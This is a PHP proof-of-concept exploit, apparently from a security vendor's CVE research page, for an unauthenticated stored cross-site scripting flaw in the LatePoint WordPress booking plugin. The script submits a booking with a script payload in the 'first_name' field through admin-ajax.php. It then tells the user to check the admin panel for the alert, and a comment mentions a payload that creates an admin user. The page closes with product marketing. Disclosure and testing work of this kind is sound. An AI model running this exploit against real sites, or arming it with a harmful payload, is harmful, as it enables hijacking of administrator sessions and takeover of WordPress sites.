// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7448 - LatePoint <= 5.5.0 - Unauthenticated Stored Cross-Site Scripting via 'first_name' Parameter

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site

// Payload: Simple XSS that creates an admin user (requires wp-config access in real scenario)
// For demonstration, we'll use a harmless alert that would trigger in admin panel
$xss_payload = '<script>alert("CVE-2026-7448 XSS");</script>';

// Step 1: Get a valid nonce for booking form (if required) or directly submit booking
// Many latepoint versions expose REST endpoints without nonce requirement

// Step 2: Submit a booking request with malicious first_name
$booking_data = [
    'action' => 'latepoint_booking_request',
    'first_name' => $xss_payload,
    'last_name' => 'Test',
    'email' => 'attacker@example.com',
    'phone' => '+1234567890',
    'service_id' => 1,
    'agent_id' => 1,
    'location_id' => 1,
    'booking_date' => date('Y-m-d', strtotime('+1 day')),
    'booking_time' => '10:00',
    'total_attendees' => 1,
];

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($booking_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-CVE-PoC'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "n[+] Attempted XSS injection via 'first_name' parameter.n";
echo "[+] Check WordPress admin panel under LatePoint -> Customers or Bookings.n";
echo "[+] If the alert('CVE-2026-7448 XSS') appears, the site is vulnerable.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School